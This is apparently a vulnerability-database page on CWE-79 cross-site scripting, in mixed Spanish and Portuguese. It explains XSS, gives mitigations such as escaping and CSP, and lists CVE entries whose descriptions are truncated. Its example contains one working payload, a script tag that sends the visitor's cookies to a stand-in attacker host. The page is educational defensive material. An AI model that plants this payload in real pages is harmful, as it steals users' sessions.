Fallos del tipo CWE-79

29.224 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-1143CRITICALCentral Dogma versions prior to 0.64.1 is vulnerable to Cross-Site Scripting (XSS), which could allow for the leakage of user sessions and sEPSS 0.5%CVE-2023-7225MEDIUMMapPress <= 2.88.16 - Authenticated (Contributor+) Stored Cross-Site Scripting via Map SettingsEPSS 0.5%CVE-2023-7135LOWcode-projects Record Management System Offices offices.php cross site scriptingEPSS 0.5%CVE-2022-40841MEDIUMA cross-site scripting (XSS) vulnerability in NdkAdvancedCustomizationFields v3.5.0 allows attackers to execute arbitrary web scripts or HTMEPSS 0.5%CVE-2023-23326MEDIUMA Stored Cross-Site Scripting (XSS) vulnerability exists in AvantFAX 3.3.7. An authenticated low privilege user can inject arbitrary JavascrEPSS 0.5%CVE-2023-6075LOWPHPGurukul Restaurant Table Booking System Reservation Request index.php cross site scriptingEPSS 0.5%CVE-2023-7136LOWcode-projects Record Management System Document Type doctype.php cross site scriptingEPSS 0.5%CVE-2023-4983MEDIUMapp1pro Shopicial search cross site scriptingEPSS 0.5%CVE-2022-36057MEDIUMDiscourse-Chat Cross-Site Scripting issue for channel names and descriptionsEPSS 0.5%CVE-2024-30883MEDIUMReflected Cross Site Scripting (XSS) vulnerability in RageFrame2 v2.6.43, allows remote attackers to execute arbitrary web scripts or HTML aEPSS 0.5%CVE-2024-7929MEDIUMSourceCodester Simple Forum Website Signup Page registration.php cross site scriptingEPSS 0.5%CVE-2026-35198CRITICALHeyForm vulnerable to stored XSS via form field titlesEPSS 0.5%CVE-2026-45343HIGHLinkAce - Stored XSS via Unsanitized SSO User's Name Rendered in Admin Audit Log Allows Session HijackingEPSS 0.5%CVE-2023-6098MEDIUMCross-site Scripting on ICSSolution ICS Business ManagerEPSS 0.5%CVE-2024-7649MEDIUMOpal Membership <= 1.2.4 - Unauthenticated Stored Cross-Site ScriptingEPSS 0.5%CVE-2024-27734MEDIUMA Cross Site Scripting vulnerability in CSZ CMS v.1.3.0 allows an attacker to execute arbitrary code via a crafted script to the Site Name fEPSS 0.5%CVE-2022-39373MEDIUMStored Cross-Site Scripting (XSS) in entity name in GLPIEPSS 0.5%CVE-2023-3672HIGHCross-site Scripting (XSS) - DOM in plaidweb/webmention.jsEPSS 0.5%CVE-2022-3516MEDIUMCross-site Scripting (XSS) - Stored in librenms/librenmsEPSS 0.5%CVE-2025-46729LOWphpDVDProfiler Cross-site Scripting vulnerabilityEPSS 0.5%